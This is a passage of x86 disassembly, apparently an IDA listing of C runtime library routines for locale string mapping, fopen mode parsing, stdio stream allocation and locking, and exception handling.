loc_413621: ; CODE XREF: sub_4135A3+5Aj
mov eax, dword_424448
cmp eax, 2
jz loc_4137DA
cmp eax, ebx
jz loc_4137DA
cmp eax, 1
jnz loc_41380B
cmp [ebp+arg_18], ebx
mov [ebp+var_8], ebx
jnz short loc_413650
mov eax, [esi]
mov eax, [eax+4]
mov [ebp+arg_18], eax
loc_413650: ; CODE XREF: sub_4135A3+A3j
mov esi, dword_41C174
xor eax, eax
cmp [ebp+arg_1C], ebx
push ebx
push ebx
push [ebp+arg_C]
setnz al
push [ebp+arg_8]
lea eax, ds:1[eax*8]
push eax
push [ebp+arg_18]
call esi ; MultiByteToWideChar
mov edi, eax
cmp edi, ebx
jz loc_41380B
jle short loc_4136C2
push 0FFFFFFE0h
xor edx, edx
pop eax
div edi
cmp eax, 2
jb short loc_4136C2
lea eax, [edi+edi+8]
cmp eax, 400h
ja short loc_4136A9
call sub_418C60
mov eax, esp
cmp eax, ebx
jz short loc_4136BD
mov dword ptr [eax], 0CCCCh
jmp short loc_4136BA
; ---------------------------------------------------------------------------
loc_4136A9: ; CODE XREF: sub_4135A3+F1j
push eax
call sub_411069
cmp eax, ebx
pop ecx
jz short loc_4136BD
mov dword ptr [eax], 0DDDDh
loc_4136BA: ; CODE XREF: sub_4135A3+104j
add eax, 8
loc_4136BD: ; CODE XREF: sub_4135A3+FCj
; sub_4135A3+10Fj
mov [ebp+var_C], eax
jmp short loc_4136C5
; ---------------------------------------------------------------------------
loc_4136C2: ; CODE XREF: sub_4135A3+DAj
; sub_4135A3+E6j
mov [ebp+var_C], ebx
loc_4136C5: ; CODE XREF: sub_4135A3+11Dj
cmp [ebp+var_C], ebx
jz loc_41380B
push edi
push [ebp+var_C]
push [ebp+arg_C]
push [ebp+arg_8]
push 1
push [ebp+arg_18]
call esi ; MultiByteToWideChar
test eax, eax
jz loc_4137C9
mov esi, dword_41C178
push ebx
push ebx
push edi
push [ebp+var_C]
push [ebp+arg_4]
push [ebp+arg_0]
call esi ; LCMapStringW
mov ecx, eax
cmp ecx, ebx
mov [ebp+var_8], ecx
jz loc_4137C9
test word ptr [ebp+arg_4], 400h
jz short loc_413739
cmp [ebp+arg_14], ebx
jz loc_4137C9
cmp ecx, [ebp+arg_14]
jg loc_4137C9
push [ebp+arg_14]
push [ebp+arg_10]
push edi
push [ebp+var_C]
push [ebp+arg_4]
push [ebp+arg_0]
call esi ; LCMapStringW
jmp loc_4137C9
; ---------------------------------------------------------------------------
loc_413739: ; CODE XREF: sub_4135A3+16Bj
cmp ecx, ebx
jle short loc_413782
push 0FFFFFFE0h
xor edx, edx
pop eax
div ecx
cmp eax, 2
jb short loc_413782
lea eax, [ecx+ecx+8]
cmp eax, 400h
ja short loc_41376A
call sub_418C60
mov esi, esp
cmp esi, ebx
jz short loc_4137C9
mov dword ptr [esi], 0CCCCh
add esi, 8
jmp short loc_413784
; ---------------------------------------------------------------------------
loc_41376A: ; CODE XREF: sub_4135A3+1AFj
push eax
call sub_411069
cmp eax, ebx
pop ecx
jz short loc_41377E
mov dword ptr [eax], 0DDDDh
add eax, 8
loc_41377E: ; CODE XREF: sub_4135A3+1D0j
mov esi, eax
jmp short loc_413784
; ---------------------------------------------------------------------------
loc_413782: ; CODE XREF: sub_4135A3+198j
; sub_4135A3+1A4j
xor esi, esi
loc_413784: ; CODE XREF: sub_4135A3+1C5j
; sub_4135A3+1DDj
cmp esi, ebx
jz short loc_4137C9
push [ebp+var_8]
push esi
push edi
push [ebp+var_C]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_41C178 ; LCMapStringW
test eax, eax
jz short loc_4137C2
cmp [ebp+arg_14], ebx
push ebx
push ebx
jnz short loc_4137AB
push ebx
push ebx
jmp short loc_4137B1
; ---------------------------------------------------------------------------
loc_4137AB: ; CODE XREF: sub_4135A3+202j
push [ebp+arg_14]
push [ebp+arg_10]
loc_4137B1: ; CODE XREF: sub_4135A3+206j
push [ebp+var_8]
push esi
push ebx
push [ebp+arg_18]
call dword_41C170 ; WideCharToMultiByte
mov [ebp+var_8], eax
loc_4137C2: ; CODE XREF: sub_4135A3+1FBj
push esi
call sub_413588
pop ecx
loc_4137C9: ; CODE XREF: sub_4135A3+13Ej
; sub_4135A3+15Fj ...
push [ebp+var_C]
call sub_413588
mov eax, [ebp+var_8]
pop ecx
jmp loc_413933
; ---------------------------------------------------------------------------
loc_4137DA: ; CODE XREF: sub_4135A3+86j
; sub_4135A3+8Ej
cmp [ebp+arg_0], ebx
mov [ebp+var_C], ebx
mov [ebp+var_10], ebx
jnz short loc_4137ED
mov eax, [esi]
mov eax, [eax+14h]
mov [ebp+arg_0], eax
loc_4137ED: ; CODE XREF: sub_4135A3+240j
cmp [ebp+arg_18], ebx
jnz short loc_4137FA
mov eax, [esi]
mov eax, [eax+4]
mov [ebp+arg_18], eax
loc_4137FA: ; CODE XREF: sub_4135A3+24Dj
push [ebp+arg_0]
call sub_418A60
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+var_14], eax
jnz short loc_413812
loc_41380B: ; CODE XREF: sub_4135A3+97j
; sub_4135A3+D4j ...
xor eax, eax
jmp loc_413933
; ---------------------------------------------------------------------------
loc_413812: ; CODE XREF: sub_4135A3+266j
cmp eax, [ebp+arg_18]
jz loc_4138F6
push ebx
push ebx
lea ecx, [ebp+arg_C]
push ecx
push [ebp+arg_8]
push eax
push [ebp+arg_18]
call sub_418AA7
add esp, 18h
cmp eax, ebx
mov [ebp+var_C], eax
jz short loc_41380B
mov esi, dword_41C16C
push ebx
push ebx
push [ebp+arg_C]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call esi ; LCMapStringA
cmp eax, ebx
mov [ebp+var_8], eax
jnz short loc_413859
loc_413852: ; CODE XREF: sub_4135A3+2D0j
; sub_4135A3+2F9j
xor esi, esi
jmp loc_413910
; ---------------------------------------------------------------------------
loc_413859: ; CODE XREF: sub_4135A3+2ADj
jle short loc_413898
cmp eax, 0FFFFFFE0h
ja short loc_413898
add eax, 8
cmp eax, 400h
ja short loc_413880
call sub_418C60
mov edi, esp
cmp edi, ebx
jz short loc_413852
mov dword ptr [edi], 0CCCCh
add edi, 8
jmp short loc_41389A
; ---------------------------------------------------------------------------
loc_413880: ; CODE XREF: sub_4135A3+2C5j
push eax
call sub_411069
cmp eax, ebx
pop ecx
jz short loc_413894
mov dword ptr [eax], 0DDDDh
add eax, 8
loc_413894: ; CODE XREF: sub_4135A3+2E6j
mov edi, eax
jmp short loc_41389A
; ---------------------------------------------------------------------------
loc_413898: ; CODE XREF: sub_4135A3:loc_413859j
; sub_4135A3+2BBj
xor edi, edi
loc_41389A: ; CODE XREF: sub_4135A3+2DBj
; sub_4135A3+2F3j
cmp edi, ebx
jz short loc_413852
push [ebp+var_8]
push ebx
push edi
call sub_40DD10
add esp, 0Ch
push [ebp+var_8]
push edi
push [ebp+arg_C]
push [ebp+var_C]
push [ebp+arg_4]
push [ebp+arg_0]
call esi ; LCMapStringA
cmp eax, ebx
mov [ebp+var_8], eax
jnz short loc_4138C8
xor esi, esi
jmp short loc_4138ED
; ---------------------------------------------------------------------------
loc_4138C8: ; CODE XREF: sub_4135A3+31Fj
push [ebp+arg_14]
lea eax, [ebp+var_8]
push [ebp+arg_10]
push eax
push edi
push [ebp+arg_18]
push [ebp+var_14]
call sub_418AA7
mov esi, eax
mov [ebp+var_10], esi
add esp, 18h
neg esi
sbb esi, esi
and esi, [ebp+var_8]
loc_4138ED: ; CODE XREF: sub_4135A3+323j
push edi
call sub_413588
pop ecx
jmp short loc_413910
; ---------------------------------------------------------------------------
loc_4138F6: ; CODE XREF: sub_4135A3+272j
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call dword_41C16C ; LCMapStringA
mov esi, eax
loc_413910: ; CODE XREF: sub_4135A3+2B1j
; sub_4135A3+351j
cmp [ebp+var_C], ebx
jz short loc_41391E
push [ebp+var_C]
call sub_41112C
pop ecx
loc_41391E: ; CODE XREF: sub_4135A3+370j
mov eax, [ebp+var_10]
cmp eax, ebx
jz short loc_413931
cmp [ebp+arg_10], eax
jz short loc_413931
push eax
call sub_41112C
pop ecx
loc_413931: ; CODE XREF: sub_4135A3+380j
; sub_4135A3+385j
mov eax, esi
loc_413933: ; CODE XREF: sub_4135A3+232j
; sub_4135A3+26Aj
lea esp, [ebp-20h]
pop edi
pop esi
pop ebx
mov ecx, [ebp+var_4]
xor ecx, ebp
call sub_410BCD
leave
retn
sub_4135A3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413945 proc near ; CODE XREF: sub_40F864+E0p
; sub_412C77+B6p ...
var_10 = byte ptr -10h
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 10h
push [ebp+arg_0]
lea ecx, [ebp+var_10]
call sub_40F7E2
push [ebp+arg_20]
lea ecx, [ebp+var_10]
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
call sub_4135A3
add esp, 20h
cmp [ebp+var_4], 0
jz short locret_413986
mov ecx, [ebp+var_8]
and dword ptr [ecx+70h], 0FFFFFFFDh
locret_413986: ; CODE XREF: sub_413945+38j
leave
retn
sub_413945 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413988 proc near ; CODE XREF: sub_40F864+93p
; sub_4113BB+34Dp ...
var_10 = dword ptr -10h
var_8 = dword ptr -8
var_4 = byte ptr -4
arg_0 = byte ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push [ebp+arg_4]
lea ecx, [ebp+var_10]
call sub_40F7E2
movzx eax, [ebp+arg_0]
mov ecx, [ebp+var_10]
mov ecx, [ecx+0C8h]
movzx eax, word ptr [ecx+eax*2]
and eax, 8000h
cmp [ebp+var_4], 0
jz short locret_4139BC
mov ecx, [ebp+var_8]
and dword ptr [ecx+70h], 0FFFFFFFDh
locret_4139BC: ; CODE XREF: sub_413988+2Bj
leave
retn
sub_413988 endp
; =============== S U B R O U T I N E =======================================
sub_4139BE proc near ; CODE XREF: sub_41440F+17Dp
arg_0 = dword ptr 4
push 0
push [esp+4+arg_0]
call sub_413988
pop ecx
pop ecx
retn
sub_4139BE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4139CC proc near ; CODE XREF: sub_40F864+32p
; sub_40FF38+26p ...
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = byte ptr -6
var_4 = word ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 18h
push ebx
push [ebp+arg_8]
lea ecx, [ebp+var_18]
call sub_40F7E2
mov ebx, [ebp+arg_0]
lea eax, [ebx+1]
cmp eax, 100h
ja short loc_4139FA
mov eax, [ebp+var_18]
mov eax, [eax+0C8h]
movzx eax, word ptr [eax+ebx*2]
jmp short loc_413A6F
; ---------------------------------------------------------------------------
loc_4139FA: ; CODE XREF: sub_4139CC+1Dj
mov [ebp+arg_0], ebx
sar [ebp+arg_0], 8
lea eax, [ebp+var_18]
push eax
mov eax, [ebp+arg_0]
and eax, 0FFh
push eax
call sub_413988
test eax, eax
pop ecx
pop ecx
jz short loc_413A2B
mov al, byte ptr [ebp+arg_0]
push 2
mov [ebp+var_8], al
mov [ebp+var_7], bl
mov [ebp+var_6], 0
pop ecx
jmp short loc_413A35
; ---------------------------------------------------------------------------
loc_413A2B: ; CODE XREF: sub_4139CC+4Bj
xor ecx, ecx
mov [ebp+var_8], bl
mov [ebp+var_7], 0
inc ecx
loc_413A35: ; CODE XREF: sub_4139CC+5Dj
mov eax, [ebp+var_18]
push 1
push dword ptr [eax+14h]
push dword ptr [eax+4]
lea eax, [ebp+var_4]
push eax
push ecx
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_18]
push 1
push eax
call sub_418606
add esp, 20h
test eax, eax
jnz short loc_413A6B
cmp [ebp+var_C], al
jz short loc_413A67
mov eax, [ebp+var_10]
and dword ptr [eax+70h], 0FFFFFFFDh
loc_413A67: ; CODE XREF: sub_4139CC+92j
xor eax, eax
jmp short loc_413A7F
; ---------------------------------------------------------------------------
loc_413A6B: ; CODE XREF: sub_4139CC+8Dj
movzx eax, [ebp+var_4]
loc_413A6F: ; CODE XREF: sub_4139CC+2Cj
and eax, [ebp+arg_4]
cmp [ebp+var_C], 0
jz short loc_413A7F
mov ecx, [ebp+var_10]
and dword ptr [ecx+70h], 0FFFFFFFDh
loc_413A7F: ; CODE XREF: sub_4139CC+9Dj
; sub_4139CC+AAj
pop ebx
leave
retn
sub_4139CC endp
; =============== S U B R O U T I N E =======================================
sub_413A82 proc near ; CODE XREF: sub_4111BA+76p
; sub_4111BA+82p
mov eax, offset off_4238A0
retn
sub_413A82 endp
; =============== S U B R O U T I N E =======================================
sub_413A88 proc near ; DATA XREF: .vty:0041C238o
mov eax, dword_426000
test eax, eax
push esi
push 14h
pop esi
jnz short loc_413A9C
mov eax, 200h
jmp short loc_413AA2
; ---------------------------------------------------------------------------
loc_413A9C: ; CODE XREF: sub_413A88+Bj
cmp eax, esi
jge short loc_413AA7
mov eax, esi
loc_413AA2: ; CODE XREF: sub_413A88+12j
mov dword_426000, eax
loc_413AA7: ; CODE XREF: sub_413A88+16j
push 4
push eax
call sub_412363
test eax, eax
pop ecx
pop ecx
mov dword_424FE0, eax
jnz short loc_413AD8
push 4
push esi
mov dword_426000, esi
call sub_412363
test eax, eax
pop ecx
pop ecx
mov dword_424FE0, eax
jnz short loc_413AD8
push 1Ah
pop eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_413AD8: ; CODE XREF: sub_413A88+30j
; sub_413A88+49j
xor edx, edx
mov ecx, offset off_4238A0
jmp short loc_413AE6
; ---------------------------------------------------------------------------
loc_413AE1: ; CODE XREF: sub_413A88+6Dj
mov eax, dword_424FE0
loc_413AE6: ; CODE XREF: sub_413A88+57j
mov [edx+eax], ecx
add ecx, 20h
add edx, 4
cmp ecx, offset dword_423B20
jl short loc_413AE1
push 0FFFFFFFEh
pop esi
xor edx, edx
mov ecx, offset dword_4238B0
push edi
loc_413B02: ; CODE XREF: sub_413A88+AAj
mov edi, edx
and edi, 1Fh
imul edi, 28h
mov eax, edx
sar eax, 5
mov eax, dword_424EE0[eax*4]
mov eax, [edi+eax]
cmp eax, 0FFFFFFFFh
jz short loc_413B26
cmp eax, esi
jz short loc_413B26
test eax, eax
jnz short loc_413B28
loc_413B26: ; CODE XREF: sub_413A88+94j
; sub_413A88+98j
mov [ecx], esi
loc_413B28: ; CODE XREF: sub_413A88+9Cj
add ecx, 20h
inc edx
cmp ecx, offset dword_423910
jl short loc_413B02
pop edi
xor eax, eax
pop esi
retn
sub_413A88 endp
; =============== S U B R O U T I N E =======================================
sub_413B39 proc near ; DATA XREF: .vty:0041C250o
call sub_414C5C
cmp byte_4243F0, 0
jz short loc_413B4C
call sub_418C8C
loc_413B4C: ; CODE XREF: sub_413B39+Cj
push dword_424FE0
call sub_41112C
pop ecx
retn
sub_413B39 endp
; =============== S U B R O U T I N E =======================================
sub_413B59 proc near ; CODE XREF: sub_40FC7C+4Ep
; sub_40FD7C+50p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, offset off_4238A0
cmp eax, ecx
jb short loc_413B7D
cmp eax, offset dword_423B00
ja short loc_413B7D
sub eax, ecx
sar eax, 5
add eax, 10h
push eax
call sub_416DA6
pop ecx
retn
; ---------------------------------------------------------------------------
loc_413B7D: ; CODE XREF: sub_413B59+Bj
; sub_413B59+12j
add eax, 20h
push eax
call dword_41C070 ; RtlEnterCriticalSection
retn
sub_413B59 endp
; =============== S U B R O U T I N E =======================================
sub_413B88 proc near ; CODE XREF: sub_413E9F+66p
; sub_414B82+46p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
cmp eax, 14h
jge short loc_413B9C
add eax, 10h
push eax
call sub_416DA6
pop ecx
retn
; ---------------------------------------------------------------------------
loc_413B9C: ; CODE XREF: sub_413B88+7j
mov eax, [esp+arg_4]
add eax, 20h
push eax
call dword_41C070 ; RtlEnterCriticalSection
retn
sub_413B88 endp
; =============== S U B R O U T I N E =======================================
sub_413BAB proc near ; CODE XREF: sub_40FA5C+3p
; sub_40FCFF+3p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, offset off_4238A0
cmp eax, ecx
jb short loc_413BCF
cmp eax, offset dword_423B00
ja short loc_413BCF
sub eax, ecx
sar eax, 5
add eax, 10h
push eax
call sub_416CCE
pop ecx
retn
; ---------------------------------------------------------------------------
loc_413BCF: ; CODE XREF: sub_413BAB+Bj
; sub_413BAB+12j
add eax, 20h
push eax
call dword_41C06C ; RtlLeaveCriticalSection
retn
sub_413BAB endp
; =============== S U B R O U T I N E =======================================
sub_413BDA proc near ; CODE XREF: sub_413E9F+7Dp
; sub_414C24+9p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
cmp eax, 14h
jge short loc_413BEE
add eax, 10h
push eax
call sub_416CCE
pop ecx
retn
; ---------------------------------------------------------------------------
loc_413BEE: ; CODE XREF: sub_413BDA+7j
mov eax, [esp+arg_4]
add eax, 20h
push eax
call dword_41C06C ; RtlLeaveCriticalSection
retn
sub_413BDA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413BFD proc near ; CODE XREF: sub_40F9A2+9Ap
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 10h
mov eax, dword_424D74
push ebx
xor ebx, ebx
push esi
mov esi, [ebp+arg_4]
mov [ebp+var_4], eax
mov [ebp+var_C], ebx
mov [ebp+var_8], ebx
mov [ebp+var_10], ebx
jmp short loc_413C1E
; ---------------------------------------------------------------------------
loc_413C1D: ; CODE XREF: sub_413BFD+24j
inc esi
loc_413C1E: ; CODE XREF: sub_413BFD+1Ej
cmp byte ptr [esi], 20h
jz short loc_413C1D
mov al, [esi]
cmp al, 61h
jz short loc_413C62
cmp al, 72h
jz short loc_413C59
cmp al, 77h
jz short loc_413C50
call sub_40F79E
push ebx
push ebx
push ebx
push ebx
push ebx
mov dword ptr [eax], 16h
call sub_40DCD8
add esp, 14h
xor eax, eax
jmp loc_413E9B
; ---------------------------------------------------------------------------
loc_413C50: ; CODE XREF: sub_413BFD+32j
mov [ebp+arg_4], 301h
jmp short loc_413C69
; ---------------------------------------------------------------------------
loc_413C59: ; CODE XREF: sub_413BFD+2Ej
or [ebp+var_4], 1
mov [ebp+arg_4], ebx
jmp short loc_413C6D
; ---------------------------------------------------------------------------
loc_413C62: ; CODE XREF: sub_413BFD+2Aj
mov [ebp+arg_4], 109h
loc_413C69: ; CODE XREF: sub_413BFD+5Aj
or [ebp+var_4], 2
loc_413C6D: ; CODE XREF: sub_413BFD+63j
xor ecx, ecx
inc ecx
inc esi
mov al, [esi]
cmp al, bl
push edi
jz loc_413E35
mov edx, 80h
mov edi, 4000h
loc_413C86: ; CODE XREF: sub_413BFD+1B6j
cmp ecx, ebx
jz loc_413DB9
movsx eax, al
cmp eax, 53h
jg loc_413D3C
jz loc_413D2A
sub eax, 20h
jz loc_413DAE
sub eax, 0Bh
jz short loc_413D04
dec eax
jz short loc_413CF8
sub eax, 18h
jz short loc_413CE5
sub eax, 0Ah
jz short loc_413CDD
sub eax, 4
jnz loc_413E3E
cmp [ebp+var_8], ebx
jnz loc_413DA3
or [ebp+arg_4], 10h
mov [ebp+var_8], 1
jmp loc_413DAE
; ---------------------------------------------------------------------------
loc_413CDD: ; CODE XREF: sub_413BFD+BCj
or [ebp+arg_4], edx
jmp loc_413DAE
; ---------------------------------------------------------------------------
loc_413CE5: ; CODE XREF: sub_413BFD+B7j
test byte ptr [ebp+arg_4], 40h
jnz loc_413DA3
or [ebp+arg_4], 40h
jmp loc_413DAE
; ---------------------------------------------------------------------------
loc_413CF8: ; CODE XREF: sub_413BFD+B2j
mov [ebp+var_10], 1
jmp loc_413DA3
; ---------------------------------------------------------------------------
loc_413D04: ; CODE XREF: sub_413BFD+AFj
test byte ptr [ebp+arg_4], 2
jnz loc_413DA3
mov eax, [ebp+arg_4]
and eax, 0FFFFFFFEh
or eax, 2
mov [ebp+arg_4], eax
mov eax, [ebp+var_4]
and eax, 0FFFFFFFCh
or eax, edx
mov [ebp+var_4], eax
jmp loc_413DAE
; ---------------------------------------------------------------------------
loc_413D2A: ; CODE XREF: sub_413BFD+9Dj
cmp [ebp+var_8], ebx
jnz short loc_413DA3
or [ebp+arg_4], 20h
mov [ebp+var_8], 1
jmp short loc_413DAE
; ---------------------------------------------------------------------------
loc_413D3C: ; CODE XREF: sub_413BFD+97j
sub eax, 54h
jz short loc_413D9B
sub eax, 0Eh
jz short loc_413D8A
dec eax
jz short loc_413D79
sub eax, 0Bh
jz short loc_413D64
sub eax, 6
jnz loc_413E3E
test word ptr [ebp+arg_4], 0C000h
jnz short loc_413DA3
or [ebp+arg_4], edi
jmp short loc_413DAE
; ---------------------------------------------------------------------------
loc_413D64: ; CODE XREF: sub_413BFD+14Fj
cmp [ebp+var_C], ebx
jnz short loc_413DA3
and [ebp+var_4], 0FFFFBFFFh
mov [ebp+var_C], 1
jmp short loc_413DAE
; ---------------------------------------------------------------------------
loc_413D79: ; CODE XREF: sub_413BFD+14Aj
cmp [ebp+var_C], ebx
jnz short loc_413DA3
or [ebp+var_4], edi
mov [ebp+var_C], 1
jmp short loc_413DAE
; ---------------------------------------------------------------------------
loc_413D8A: ; CODE XREF: sub_413BFD+147j
test word ptr [ebp+arg_4], 0C000h
jnz short loc_413DA3
or [ebp+arg_4], 8000h
jmp short loc_413DAE
; ---------------------------------------------------------------------------
loc_413D9B: ; CODE XREF: sub_413BFD+142j
test word ptr [ebp+arg_4], 1000h
jz short loc_413DA7
loc_413DA3: ; CODE XREF: sub_413BFD+CAj
; sub_413BFD+ECj ...
xor ecx, ecx
jmp short loc_413DAE
; ---------------------------------------------------------------------------
loc_413DA7: ; CODE XREF: sub_413BFD+1A4j
or [ebp+arg_4], 1000h
loc_413DAE: ; CODE XREF: sub_413BFD+A6j
; sub_413BFD+DBj ...
inc esi
mov al, [esi]
cmp al, bl
jnz loc_413C86
loc_413DB9: ; CODE XREF: sub_413BFD+8Bj
cmp [ebp+var_10], ebx
jz short loc_413E35
jmp short loc_413DC1
; ---------------------------------------------------------------------------
loc_413DC0: ; CODE XREF: sub_413BFD+1C7j
inc esi
loc_413DC1: ; CODE XREF: sub_413BFD+1C1j
cmp byte ptr [esi], 20h
jz short loc_413DC0
push 4
push esi
push offset dword_41C820
call sub_4197E9
add esp, 0Ch
test eax, eax
jnz short loc_413E3E
add esi, 4
push offset dword_41C828
push esi
call sub_41966D
test eax, eax
pop ecx
pop ecx
jnz short loc_413DFA
add esi, 5
or [ebp+arg_4], 40000h
jmp short loc_413E35
; ---------------------------------------------------------------------------
loc_413DFA: ; CODE XREF: sub_413BFD+1EFj
push offset dword_41C830
push esi
call sub_41966D
test eax, eax
pop ecx
pop ecx
jnz short loc_413E17
add esi, 8
or [ebp+arg_4], 20000h
jmp short loc_413E35
; ---------------------------------------------------------------------------
loc_413E17: ; CODE XREF: sub_413BFD+20Cj
push offset aUnicode ; "UNICODE"
push esi
call sub_41966D
test eax, eax
pop ecx
pop ecx
jnz short loc_413E3E
add esi, 7
or [ebp+arg_4], 10000h
jmp short loc_413E35
; ---------------------------------------------------------------------------
loc_413E34: ; CODE XREF: sub_413BFD+23Bj
inc esi
loc_413E35: ; CODE XREF: sub_413BFD+79j
; sub_413BFD+1BFj ...
cmp byte ptr [esi], 20h
jz short loc_413E34
cmp [esi], bl
jz short loc_413E58
loc_413E3E: ; CODE XREF: sub_413BFD+C1j
; sub_413BFD+154j ...
call sub_40F79E
push ebx
push ebx
push ebx
push ebx
push ebx
mov dword ptr [eax], 16h
call sub_40DCD8
add esp, 14h
jmp short loc_413E76
; ---------------------------------------------------------------------------
loc_413E58: ; CODE XREF: sub_413BFD+23Fj
push 180h
push [ebp+arg_8]
lea eax, [ebp+var_10]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
call sub_419435
add esp, 14h
test eax, eax
jz short loc_413E7A
loc_413E76: ; CODE XREF: sub_413BFD+259j
xor eax, eax
jmp short loc_413E9A
; ---------------------------------------------------------------------------
loc_413E7A: ; CODE XREF: sub_413BFD+277j
mov eax, [ebp+arg_C]
inc dword_42444C
mov ecx, [ebp+var_4]
mov [eax+0Ch], ecx
mov ecx, [ebp+var_10]
mov [eax+4], ebx
mov [eax], ebx
mov [eax+8], ebx
mov [eax+1Ch], ebx
mov [eax+10h], ecx
loc_413E9A: ; CODE XREF: sub_413BFD+27Bj
pop edi
loc_413E9B: ; CODE XREF: sub_413BFD+4Ej
pop esi
pop ebx
leave
retn
sub_413BFD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_413E9F proc near ; CODE XREF: sub_40F9A2+54p
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
ms_exc = CPPEH_RECORD ptr -18h
push 10h
push offset dword_41FA90
call __SEH_prolog4
xor ebx, ebx
xor edi, edi
mov [ebp+var_1C], edi
push 1
call sub_416DA6
pop ecx
mov [ebp+ms_exc.disabled], ebx
xor esi, esi
loc_413EBF: ; CODE XREF: sub_413E9F+85j
mov [ebp+var_20], esi
cmp esi, dword_426000
jge loc_413F8F
mov eax, dword_424FE0
lea eax, [eax+esi*4]
cmp [eax], ebx
jz short loc_413F2A
mov eax, [eax]
test byte ptr [eax+0Ch], 83h
jnz short loc_413F23
lea eax, [esi-3]
cmp eax, 10h
ja short loc_413EFC
lea eax, [esi+10h]
push eax
call sub_416CE3
pop ecx
test eax, eax
jz loc_413F8F
loc_413EFC: ; CODE XREF: sub_413E9F+49j
mov eax, dword_424FE0
push dword ptr [eax+esi*4]
push esi
call sub_413B88
pop ecx
pop ecx
mov eax, dword_424FE0
mov eax, [eax+esi*4]
test byte ptr [eax+0Ch], 83h
jz short loc_413F26
push eax
push esi
call sub_413BDA
pop ecx
pop ecx
loc_413F23: ; CODE XREF: sub_413E9F+41j
inc esi
jmp short loc_413EBF
; ---------------------------------------------------------------------------
loc_413F26: ; CODE XREF: sub_413E9F+79j
mov edi, eax
jmp short loc_413F8C
; ---------------------------------------------------------------------------
loc_413F2A: ; CODE XREF: sub_413E9F+39j
shl esi, 2
push 38h
call sub_412323
pop ecx
mov ecx, dword_424FE0
mov [esi+ecx], eax
mov eax, dword_424FE0
add eax, esi
cmp [eax], ebx
jz short loc_413F8F
push 0FA0h
mov eax, [eax]
add eax, 20h
push eax
call sub_4182CC
pop ecx
pop ecx
test eax, eax
mov eax, dword_424FE0
jnz short loc_413F77
push dword ptr [esi+eax]
call sub_41112C
pop ecx
mov eax, dword_424FE0
mov [esi+eax], ebx
jmp short loc_413F8F
; ---------------------------------------------------------------------------
loc_413F77: ; CODE XREF: sub_413E9F+C3j
mov eax, [esi+eax]
add eax, 20h
push eax
call dword_41C070 ; RtlEnterCriticalSection
mov eax, dword_424FE0
mov edi, [esi+eax]
loc_413F8C: ; CODE XREF: sub_413E9F+89j
mov [ebp+var_1C], edi
loc_413F8F: ; CODE XREF: sub_413E9F+29j
; sub_413E9F+57j ...
cmp edi, ebx
jz short loc_413FA5
mov [edi+4], ebx
mov [edi+0Ch], ebx
mov [edi+8], ebx
mov [edi], ebx
mov [edi+1Ch], ebx
or dword ptr [edi+10h], 0FFFFFFFFh
loc_413FA5: ; CODE XREF: sub_413E9F+F2j
mov [ebp+ms_exc.disabled], 0FFFFFFFEh
call sub_413FBC
mov eax, edi
call __SEH_epilog4
retn
sub_413E9F endp
; =============== S U B R O U T I N E =======================================
sub_413FB9 proc near ; DATA XREF: .vty:0041FAA8o
mov edi, [ebp-1Ch]
sub_413FB9 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_413FBC proc near ; CODE XREF: sub_413E9F+10Dp
push 1
call sub_416CCE
pop ecx
retn
sub_413FBC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_413FC8 proc near ; CODE XREF: sub_40F9A2+8Ap
; sub_413FC8+BDp ...
var_20 = dword ptr -20h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push ebx
push esi
push edi
mov edx, [esp+0Ch+arg_0]
mov eax, [esp+0Ch+arg_4]
mov ecx, [esp+0Ch+arg_8]
push ebp
push edx
push eax
push ecx
push ecx
push offset loc_414058
push large dword ptr fs:0
mov eax, dword_4231C4
xor eax, esp
mov [esp+28h+var_20], eax
mov large fs:0, esp
loc_413FFA: ; CODE XREF: sub_413FC8+64j
; sub_413FC8+80j
mov eax, [esp+28h+arg_4]
mov ebx, [eax+8]
mov ecx, [esp+28h+arg_0]
xor ebx, [ecx]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFEh
jz short loc_41404A
mov edx, [esp+28h+arg_8]
